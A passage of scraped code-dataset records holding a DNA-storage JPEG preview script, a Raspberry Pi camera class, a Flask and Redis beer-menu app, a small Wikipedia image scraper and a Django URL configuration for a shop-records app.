args.primer5,args.primer3,\\\n                                fsmd_abbrev='FSMD-1', \\\n                                write_incomplete_file=True,\\\n                                use_single_primer=args.use_single_primer,\\\n                                preview_mode=True, \\\n                                use_flanking_primer_for_decoding=args.use_flanking_primer,\\\n                                flanking_primer3=args.flanking_primer3,\\\n                                flanking_primer5=args.flanking_primer5,\\\n                                reverse_primer3_from_seq=args.fix_seq\\\n        )\n        \n        if args.output == \"\":\n            print(\"Warning: output is in binary form. Don't send to stdout.\")\n            sys.exit(0)\n\n        out_fd = open(args.output,\"wb\")\n            \n        \n        while True:\n            b = dna_file.read(1)\n            if len(b)==0:\n                break\n            out_fd.write(b)\n\n        logger.info(\"Wrote new jpeg file {}.\".format(args.output))\n        # write extra EOI just to make sure file terminates\n        out_fd.write(bytes([0xFF,0xD9]))\n        out_fd.close()\n        #if args.show:\n        #    dec=JPEGDecoder(tolerate_errors=True)\n        #    dec.decode(filename=args.output)\n        #    dec.jpeg.show()\n        #    dec.jpeg.image.save(args.output+\"2.jpg\")\n        #    #jpeg_name = args.output.name\n        #    #j = JPEG(jpeg_name)\n        #    #j.show()\n\n    stats.persist()\n    plogger.debug(\"Done!\")\n", "sub_path": "tools/preview.py", "file_name": "preview.py", "file_ext": "py", "file_size_in_byte": 10164, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "csv.DictReader", "line_number": 26, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 145, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 146, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 147, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 148, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 154, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 157, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 189, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 196, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 199, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 227, "usage_type": "call"}, {"api_name": "dnastorage.util.stats.stats.persist", "line_number": 251, "usage_type": "call"}, {"api_name": "dnastorage.util.stats.stats", "line_number": 251, "usage_type": "name"}]}
+{"seq_id": "477941174", "text": "from picamera import PiCamera\nfrom picamera.array import PiRGBArray\nimport time\nimport threading\nimport sys\nimport logging\nimport queue\n\n# -------------------------------------------------------------------------\nclass PiCam:\n    def __init__(self, config=None):\n        self.config = config\n        if self.config == None:\n            self.config = {\n                \"resolution\": (640,480),\n                \"framerate\": 60,\n                \"sensormode\": 7,\n            }\n\n        self.resolution = self.config[\"resolution\"]\n        self.framerate = self.config[\"framerate\"]\n        self.stream = None\n        self.rawCapture = None\n        self.imageQueue = queue.Queue(1)\n        \n        time.sleep(.1) # allow the camera to warm up\n\n        self.cam = PiCamera(resolution=self.config[\"resolution\"],\n                            framerate=self.config[\"framerate\"],\n                            sensor_mode=self.config[\"sensormode\"])\n        \n\n\n        if \"iso\" in self.config:\n            self.cam.iso = self.config[\"iso\"]\n            # allow the camera to warm up in case exposure_mode is \"off\"\n            time.sleep(.1) \n        else:\n            logging.warning(\"picam: no iso\")\n\n        if \"awb_mode\" in self.config:\n            self.cam.awb_mode = self.config[\"awb_mode\"]\n\n        if \"awb_gains\" in self.config:\n            self.cam.awb_gains = self.config[\"awb_gains\"]\n\n        if \"brightness\" in self.config:\n            self.cam.brightness = self.config[\"brightness\"]\n        else:\n            logging.warning(\"picam: no brightness\")\n\n        if \"contrast\" in self.config:\n            self.cam.contrast = self.config[\"contrast\"]\n        else:\n            logging.warning(\"picam: no contrast\")\n\n        if \"exposure_mode\" in self.config:\n            self.cam.exposure_mode = self.config[\"exposure_mode\"]\n\n        if \"exposure_compensation\" in self.config:\n            self.cam.exposure_compensation=self.config[\"exposure_compensation\"]\n\n        if \"flip\" in self.config:\n            self.cam.vflip = self.cam.hflip = self.config[\"flip\"]\n\n        if \"rotation\" in self.config:\n            self.cam.rotation = self.config[\"rotation\"]\n\n        if \"saturation\" in self.config:\n            self.cam.saturation = self.config[\"saturation\"]\n\n        if \"sharpness\" in self.config:\n            self.cam.sharpness = self.config[\"sharpness\"]\n\n        if \"shutter_speed\" in self.config:\n            self.cam.shutter_speed = self.config[\"shutter_speed\"]\n\n        time.sleep(.1) # more settling\n\n        logging.info(\"camera settings:\")\n        logging.info(\"  analog_gain:%s\" % self.cam.analog_gain)\n        logging.info(\"  digital_gain:%s\" % self.cam.digital_gain)\n        logging.info(\"  \")\n        logging.info(\"  awb_mode:%s\" % self.cam.awb_mode)\n        logging.info(\"  awb_gains:(%g, %g)\" % self.cam.awb_gains)\n        logging.info(\"  brightness:%d\" % self.cam.brightness)\n        logging.info(\"  contrast:%d\"  % self.cam.contrast)\n        logging.info(\"  drc_strength:%s\" % self.cam.drc_strength)\n        logging.info(\"  exposure_compensation:%d\" % self.cam.exposure_compensation)\n        logging.info(\"  exposure_mode:%s\" % self.cam.exposure_mode)\n        logging.info(\"  exposure_speed:%d us\" % self.cam.exposure_speed)\n        logging.info(\"  iso:%s\" % self.cam.iso)\n        logging.info(\"  rotation:%d\" % self.cam.rotation)\n        logging.info(\"  saturation:%d\" % self.cam.saturation)\n        logging.info(\"  shutter_speed:%d us\" % self.cam.shutter_speed)\n        logging.info(\"  framerate:%s\" % self.cam.framerate)\n\n        \n\n    def start(self):\n        self.rawCapture = PiRGBArray(self.cam, size=self.resolution)\n        self.stream = self.cam.capture_continuous(self.rawCapture, format=\"bgr\",\n                                                    use_video_port=True)\n        self.numFrames = 0\n\n    def startThread(self):\n        self.runThread = threading.Thread(target=self.capImagesThread)\n        self.quitThreadEvent = threading.Event()\n        self.runThread.start()\n\n    def capImagesThread(self):\n        while not self.quitThreadEvent.is_set():\n            frame = next(self.stream)\n            image = frame.array\n            self.rawCapture.truncate(0)\n            self.numFrames += 1\n            try:\n                self.imageQueue.put_nowait(image)\n            except queue.Full:\n                self.imageQueue.get()\n                self.imageQueue.put_nowait(image)\n\n    def next(self):\n        frame = next(self.stream)\n        image = frame.array\n        self.rawCapture.truncate(0)\n        self.numFrames += 1\n        return image\n    \n    def stop(self):\n        if self.stream:\n            self.stream.close()\n        if self.rawCapture:\n            self.rawCapture.close()\n        self.cam.close()\n'''\n# ------------------------------------------------------------------------\nclass CaptureThread(threading.Thread):\n    def __init__(self, picam, procCallback, numProcessingThreads=0):\n        super(CaptureThread, self).__init__()\n        self.picam = picam\n        self.running = False\n        if numProcessingThreads == 0:\n            self.procThreads = None\n        else:\n            self.running = True\n            wait = float(numProcessingThreads) / picam.framerate\n            self.procPool = [ProcessingThread(self, i, procCallback, wait) \n                                for i in range(numProcessingThreads)]\n            self.procThreads = self.procPool[:]\n            self.lock = threading.Lock()\n        self.procCallback = procCallback\n        self.start()\n\n    def run(self):\n        logging.info(\"Capture thread starting\")\n        self.picam.start()\n        while self.running:\n            if self.procThreads == None:\n                frame = self.picam.next()\n                self.procCallback(frame)\n            else:\n                with self.lock:\n                    if self.procPool: \n                        procThread = self.procPool.pop()\n                    else:\n                        procThread = False\n                if procThread:\n                    frame = self.picam.next()\n                    procThread.nextFrame = frame # XXX: frame.copy()?\n                    procThread.event.set()\n                else:\n                    # pool is empty, wait for work to complete\n                    # sys.stderr.write('z')\n                    time.sleep(0.01)\n        self.picam.stop()\n        logging.info(\"Capture thread terminated\")\n\n    def cleanup(self):\n        self.running = False\n        if self.procThreads:\n            for proc in self.procThreads:\n                proc.event.set()\n                proc.join()\n\n\n# ------------------------------------------------------------------------\nclass ProcessingThread(threading.Thread):\n    def __init__(self, mainthread, id, processCB, wait):\n        super(ProcessingThread, self).__init__()\n        self.mainthread = mainthread\n        self.processCB = processCB\n        self.event = threading.Event()\n        self.eventWait = .01 # wait \n        self.name = str(id)\n        logging.info('Processor thread %s started with idle time of %.2fs' %\n                             (self.name, self.eventWait))\n        self.start() \n\n    def run(self):\n        while self.mainthread.running:\n            self.event.wait(self.eventWait)\n            if self.event.isSet():\n                if not self.mainthread.running:\n                    break;\n                try:\n                    self.processCB(self.nextFrame)\n                finally:\n                    self.nextFrame = None\n                    self.event.clear()\n                    with self.mainthread.lock:\n                        self.mainthread.procPool.insert(0, self)\n        logging.info(\"Processor thread %s terminated\" % self.name)\n'''\n", "sub_path": "2020/picam.py", "file_name": "picam.py", "file_ext": "py", "file_size_in_byte": 7715, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "queue.Queue", "line_number": 24, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "picamera.PiCamera", "line_number": 28, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 39, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 55, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 78, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 80, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 81, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 82, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 83, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 84, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 85, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 87, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 88, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 89, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 90, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 91, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 92, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 93, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 94, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 95, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 96, "usage_type": "call"}, {"api_name": "picamera.array.PiRGBArray", "line_number": 101, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 107, "usage_type": "call"}, {"api_name": "threading.Event", "line_number": 108, "usage_type": "call"}, {"api_name": "queue.Full", "line_number": 119, "usage_type": "attribute"}]}
+{"seq_id": "308989588", "text": "from flask import render_template, redirect, request, url_for\nfrom app import app\nfrom app.form import BeerForm\nimport redis\nimport json\nimport operator\n\nlocations = [\n        'broadway',\n        'huebner',\n        'gastropub',\n        ]\n\n@app.route('//entry', methods=['GET', 'POST'])\ndef entry(location):\n    if location not in locations:\n        return 'Unknown Location'\n    form = BeerForm()\n    if request.method == 'POST':\n        pool = redis.ConnectionPool(host='localhost', port=6379, db=0)\n        r = redis.Redis(connection_pool=pool)\n        beer = {\n            'name': form.beername.data,\n            'brewery': form.brewery.data,\n            'type': form.beertype.data,\n            'content': form.alcohols.data,\n            'location': location\n        }\n\n        if form.pricepint.data != \"\":\n            beer['pint'] = float(form.pricepint.data)\n\n        if form.pricehalf.data:\n            beer['half'] = float(form.pricehalf.data)\n\n        elif 'pint' in beer:\n\n            beer['half'] = beer['pint'] + 2\n\n        if form.pricegrowler.data:\n            beer['growler'] = float(form.pricegrowler.data)\n        elif 'half' in beer:\n            beer['growler'] = beer['half'] * 2\n\n        if hasattr(form.notes, 'data'):\n            beer['notes'] = form.notes.data\n\n        beer['active'] = True\n\n        r.set('beer_{0}_{1}_{2}'.format(\n            location,\n            form.brewery.data.replace(' ', ''),\n            form.beername.data.replace(' ', '')),\n            json.dumps(beer)\n        )\n\n        r.save()\n        return redirect('/{0}/entry'.format(location))\n    else:\n        return render_template('entry.html', title='Entry', form=form)\n\n@app.route('//scroll', methods=['GET'])\ndef scroll(location):\n    if location not in locations:\n        return 'Unknown Location'\n    pool = redis.ConnectionPool(host='localhost', port=6379, db=0)\n    r = redis.Redis(connection_pool=pool)\n    beers = [json.loads(r.get(key).decode()) for key in r.keys('beer_{0}_*'.format(location))]\n    beers.sort(key=operator.itemgetter('brewery', 'name'))\n    return render_template('scroll.html', title='Beer List',\n                           beers=[beer for beer in beers if beer['active']])\n\n\n@app.route('//edit', methods=['GET', 'POST'])\ndef editlist(location):\n    if location not in locations:\n        return 'Unknown Location'\n    pool = redis.ConnectionPool(host='localhost', port=6379, db=0)\n    r = redis.Redis(connection_pool=pool)\n    beers = [json.loads(r.get(key).decode()) for key in r.keys('beer_{0}*'.format(location))]\n    if request.method == 'POST':\n        for beer in beers:\n            beername = 'beer_{0}_{1}_{2}'.format(\n                location,\n                beer['brewery'].replace(' ', ''),\n                beer['name'].replace(' ', '')\n            )\n\n            beer['active'] = True if beername in \\\n                request.form.getlist('checks') else False\n            r.set(beername, json.dumps(beer))\n            r.save()\n        for beer in request.form.getlist('delete'):\n            r.delete(beer)\n        beers = [json.loads(r.get(key).decode()) for key in r.keys('beer_{0}_*'.format(location))]\n    beers.sort(key=operator.itemgetter('brewery', 'name'))\n    if request.method == 'POST':\n        return redirect(location)\n    return render_template('edit.html', title='Beer List', beers=beers)\n\n\n@app.route('/')\n@app.route('//')\ndef bars(location):\n    if location not in locations:\n        return 'Unknown Location'\n    pool = redis.ConnectionPool(host='localhost', port=6379, db=0)\n    r = redis.Redis(connection_pool=pool)\n    beers = [json.loads(r.get(key).decode()) for key in r.keys('beer_{0}_*'.format(location))]\n    beers.sort(key=operator.itemgetter('brewery', 'name'))\n    return render_template('index.html', title='Beer List',\n                           beers=[beer for beer in beers if beer['active']])\n\n@app.route('/')\ndef index():\n    return render_template('links.html', title='links', locations=locations)\n", "sub_path": "app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4024, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "app.form.BeerForm", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "redis.ConnectionPool", "line_number": 20, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 21, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 60, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 14, "usage_type": "call"}, {"api_name": "app.app", "line_number": 14, "usage_type": "name"}, {"api_name": "redis.ConnectionPool", "line_number": 66, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 67, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 68, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 70, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 62, "usage_type": "call"}, {"api_name": "app.app", "line_number": 62, "usage_type": "name"}, {"api_name": "redis.ConnectionPool", "line_number": 78, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 79, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 90, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 90, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 90, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 91, "usage_type": "call"}, {"api_name": "flask.request.form.getlist", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 93, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 93, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 95, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 96, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 97, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 97, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 99, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 74, "usage_type": "call"}, {"api_name": "app.app", "line_number": 74, "usage_type": "name"}, {"api_name": "redis.ConnectionPool", "line_number": 107, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 108, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 109, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 110, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 111, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 102, "usage_type": "call"}, {"api_name": "app.app", "line_number": 102, "usage_type": "name"}, {"api_name": "app.app.route", "line_number": 103, "usage_type": "call"}, {"api_name": "app.app", "line_number": 103, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 116, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 114, "usage_type": "call"}, {"api_name": "app.app", "line_number": 114, "usage_type": "name"}]}
+{"seq_id": "27776209", "text": "import requests\nimport bs4\n\nres = requests.get('http://en.wikipedia.org/wiki/Cicada_3301')\n\n#print(res.text)\n\nsoup = bs4.BeautifulSoup(res.text,'lxml')\nimage_info = soup.select('.thumbimage')\ntype(image_info)\n\n#print(len(image_info))\n\ncicada = image_info[0]\n#(cicada['src'])\n\nimage_link = 'http:' +  cicada['src']\n\nprint(image_link)\n", "sub_path": "pgm/scrap.py", "file_name": "scrap.py", "file_ext": "py", "file_size_in_byte": 333, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "requests.get", "line_number": 4, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 8, "usage_type": "call"}]}
+{"seq_id": "149510678", "text": "\"\"\"bps4 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom ps4.views import (indexView, testView, tnsView, psvView, psvlistView, tnslistView, transactionsView, psvupdateView, tnsupdateView, playstationView, snacksView, drinksView, \n                       chartsView, buybiscutView, sellbiscutView, buypkView, sellpkView, buylolipopView,selllolipopView, buystockView, sellstockView, buysodaView, sellsodaView, recordsView, loginView,\n                       forgotpasswordView, productserviceDeleteView, transactionsDeleteView, buyenergydrinkView, sellenergydrinkView, buyjuiceView, selljuiceView, registerView,\n                       spendView, incomeView,playstationrecordsView, savingsView,savingslistView,savingseditView,incomelistView, expenselistView)\n\napp_name = 'ps4'\nurlpatterns = [\n\n    url(r'^$', indexView.as_view(), name=\"index\"),\n    url(r'^tests/$', testView.as_view(), name=\"tests\"),\n    # path('index/',views.index, name='index'),\n    url(r'^playstation/$', playstationView.as_view(), name=\"playstation\"),\n    url(r'^snacks/$', snacksView.as_view(), name=\"snacks\"),\n    url(r'^drinks/$', drinksView.as_view(), name=\"drinks\"),\n    url(r'^buybiscut/$', buybiscutView.as_view(), name=\"buybiscut\"),\n    url(r'^sellbiscut/$', sellbiscutView.as_view(), name=\"sellbiscut\"),\n    url(r'^buypk/$', buypkView.as_view(), name=\"buypk\"),\n    url(r'^sellpk/$', sellpkView.as_view(), name=\"sellpk\"),\n    url(r'^buylolipop/$', buylolipopView.as_view(), name=\"buylolipop\"),\n    url(r'^selllolipop/$', selllolipopView.as_view(), name=\"selllolipop\"),\n    url(r'^buysoda/$', buysodaView.as_view(), name=\"buysoda\"),\n    url(r'^sellsoda/$', sellsodaView.as_view(), name=\"sellsoda\"),\n    url(r'^buyenergydrink/$', buyenergydrinkView.as_view(), name=\"buyenergydrink\"),\n    url(r'^sellenergydrink/$', sellenergydrinkView.as_view(), name=\"sellenergydrink\"),\n    url(r'^buyjuice/$', buyjuiceView.as_view(), name=\"buyjuice\"),\n    url(r'^selljuice/$', selljuiceView.as_view(), name=\"selljuice\"),\n    url(r'^charts/$', chartsView.as_view(), name=\"charts\"),\n    url(r'^records/$', recordsView.as_view(), name=\"records\"),\n    url(r'^login/$', loginView.as_view(), name=\"login\"),\n    url(r'^forgotpassword/$', forgotpasswordView.as_view(), name=\"forgotpassword\"),\n    url(r'^register/$', registerView.as_view(), name=\"register\"),\n    url(r'^buystock/$', buystockView.as_view(), name=\"buystock\"),\n    url(r'^productservicelist/$', psvlistView.as_view(), name=\"productservicelist\"),\n    url(r'^transactionslist/$', tnslistView.as_view(), name=\"transactionslist\"),\n    url(r'^spend/$', spendView.as_view(), name=\"spendForm\"),\n    url(r'^sellstock/$', sellstockView.as_view(), name=\"sellstockForm\"),\n    url(r'^income/$', incomeView.as_view(), name=\"incomeForm\"),\n    url(r'^transactions/$', transactionsView.as_view(), name=\"transactions\"),\n    # url(r'^transactionform/$', psvView.as_view(), name=\"productserviceform\"),\n    url(r'^productservice/$', psvView.as_view(), name=\"productservices\"),\n    url(r'^productservice/delete/(?P[0-9]+)$', productserviceDeleteView.as_view(),name=\"deleteProductsandServices\"),\n    url(r'^productservice/edit/(?P[0-9]+)$',psvupdateView.as_view(),\n         name=\"editproductservice\"),\n    url(r'^transactions/edit/(?P[0-9]+)$',tnsupdateView.as_view(), name=\"edittransaction\"),\n    url(r'^transactions/delete/(?P[0-9]+)$', transactionsDeleteView.as_view(),name=\"deleteTransactions\"),\n    url(r'^playstationrecords/$', playstationrecordsView.as_view(), name=\"playstationrecords\"),\n    url(r'^savings/$', savingsView.as_view(), name=\"savings\"),\n    url(r'^savingslist/$', savingslistView.as_view(), name=\"savingslist\"),\n    url(r'^savings/edit/(?P[0-9]+)$',savingseditView.as_view(), name=\"editsavings\"),\n    url(r'^incomelist/$', incomelistView.as_view(), name=\"incomelist\"),\n    url(r'^expenselist/$', expenselistView.as_view(), name=\"expenselist\"),\n]\n ", "sub_path": "ps4/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 4490, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.conf.urls.url", "line_number": 25, "usage_type": "call"}, {"api_name": "ps4.views.indexView.as_view", "line_number": 25, "usage_type": "call"}, {"api_name": "ps4.views.indexView", "line_number": 25, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "ps4.views.testView.as_view", "line_number": 26, "usage_type": "call"}, {"api_name": "ps4.views.testView", "line_number": 26, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 28, "usage_type": "call"}, {"api_name": "ps4.views.playstationView.as_view", "line_number": 28, "usage_type": "call"}, {"api_name": "ps4.views.playstationView", "line_number": 28, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 29, "usage_type": "call"}, {"api_name": "ps4.views.snacksView.as_view", "line_number": 29, "usage_type": "call"}, {"api_name": "ps4.views.snacksView", "line_number": 29, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 30, "usage_type": "call"}, {"api_name": "ps4.views.drinksView.as_view", "line_number": 30, "usage_type": "call"}, {"api_name": "ps4.views.drinksView", "line_number": 30, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 31, "usage_type": "call"}, {"api_name": "ps4.views.buybiscutView.as_view", "line_number": 31, "usage_type": "call"}, {"api_name": "ps4.views.buybiscutView", "line_number": 31, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 32, "usage_type": "call"}, {"api_name": "ps4.views.sellbiscutView.as_view", "line_number": 32, "usage_type": "call"}, {"api_name": "ps4.views.sellbiscutView", "line_number": 32, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 33, "usage_type": "call"}, {"api_name": "ps4.views.buypkView.as_view", "line_number": 33, "usage_type": "call"}, {"api_name": "ps4.views.buypkView", "line_number": 33, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 34, "usage_type": "call"}, {"api_name": "ps4.views.sellpkView.as_view", "line_number": 34, "usage_type": "call"}, {"api_name": "ps4.views.sellpkView", "line_number": 34, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 35, "usage_type": "call"}, {"api_name": "ps4.views.buylolipopView.as_view", "line_number": 35, "usage_type": "call"}, {"api_name": "ps4.views.buylolipopView", "line_number": 35, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 36, "usage_type": "call"}, {"api_name": "ps4.views.selllolipopView.as_view", "line_number": 36, "usage_type": "call"}, {"api_name": "ps4.views.selllolipopView", "line_number": 36, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 37, "usage_type": "call"}, {"api_name": "ps4.views.buysodaView.as_view", "line_number": 37, "usage_type": "call"}, {"api_name": "ps4.views.buysodaView", "line_number": 37, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 38, "usage_type": "call"}, {"api_name": "ps4.views.sellsodaView.as_view", "line_number": 38, "usage_type": "call"}, {"api_name": "ps4.views.sellsodaView", "line_number": 38, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 39, "usage_type": "call"}, {"api_name": "ps4.views.buyenergydrinkView.as_view", "line_number": 39, "usage_type": "call"}, {"api_name": "ps4.views.buyenergydrinkView", "line_number": 39, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 40, "usage_type": "call"}, {"api_name": "ps4.views.sellenergydrinkView.as_view", "line_number": 40, "usage_type": "call"}, {"api_name": "ps4.views.sellenergydrinkView", "line_number": 40, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 41, "usage_type": "call"}, {"api_name": "ps4.views.buyjuiceView.as_view", "line_number": 41, "usage_type": "call"}, {"api_name": "ps4.views.buyjuiceView", "line_number": 41, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 42, "usage_type": "call"}, {"api_name": "ps4.views.selljuiceView.as_view", "line_number": 42, "usage_type": "call"}, {"api_name": "ps4.views.selljuiceView", "line_number": 42, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 43, "usage_type": "call"}, {"api_name": "ps4.views.chartsView.as_view", "line_number": 43, "usage_type": "call"}, {"api_name": "ps4.views.chartsView", "line_number": 43, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 44, "usage_type": "call"}, {"api_name": "ps4.views.recordsView.as_view", "line_number": 44, "usage_type": "call"}, {"api_name": "ps4.views.recordsView", "line_number": 44, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 45, "usage_type": "call"}, {"api_name": "ps4.views.loginView.as_view", "line_number": 45, "usage_type": "call"}, {"api_name": "ps4.views.loginView", "line_number": 45, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 46, "usage_type": "call"}, {"api_name": "ps4.views.forgotpasswordView.as_view", "line_number": 46, "usage_type": "call"}, {"api_name": "ps4.views.forgotpasswordView", "line_number": 46, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 47, "usage_type": "call"}, {"api_name": "ps4.views.registerView.as_view", "line_number": 47, "usage_type": "call"}, {"api_name": "ps4.views.registerView", "line_number": 47, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 48, "usage_type": "call"}, {"api_name": "ps4.views.buystockView.as_view", "line_number": 48, "usage_type": "call"}, {"api_name": "ps4.views.buystockView", "line_number": 48, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 49, "usage_type": "call"}, {"api_name": "ps4.views.psvlistView.as_view", "line_number": 49, "usage_type": "call"}, {"api_name": "ps4.views.psvlistView", "line_number": 49, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 50, "usage_type": "call"}, {"api_name": "ps4.views.tnslistView.as_view", "line_number": 50, "usage_type": "call"}, {"api_name": "ps4.views.tnslistView", "line_number": 50, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 51, "usage_type": "call"}, {"api_name": "ps4.views.spendView.as_view", "line_number": 51, "usage_type": "call"}, {"api_name": "ps4.views.spendView", "line_number": 51, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 52, "usage_type": "call"}, {"api_name": "ps4.views.sellstockView.as_view", "line_number": 52, "usage_type": "call"}, {"api_name": "ps4.views.sellstockView", "line_number": 52, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 53, "usage_type": "call"}, {"api_name": "ps4.views.incomeView.as_view", "line_number": 53, "usage_type": "call"}, {"api_name": "ps4.views.incomeView", "line_number": 53, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 54, "usage_type": "call"}, {"api_name": "ps4.views.transactionsView.as_view", "line_number": 54, "usage_type": "call"}, {"api_name": "ps4.views.transactionsView", "line_number": 54, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 56, "usage_type": "call"}, {"api_name": "ps4.views.psvView.as_view", "line_number": 56, "usage_type": "call"}, {"api_name": "ps4.views.psvView", "line_number": 56, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 57, "usage_type": "call"}, {"api_name": "ps4.views.productserviceDeleteView.as_view", "line_number": 57, "usage_type": "call"}, {"api_name": "ps4.views.productserviceDeleteView", "line_number": 57, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 58, "usage_type": "call"}, {"api_name": "ps4.views.psvupdateView.as_view", "line_number": 58, 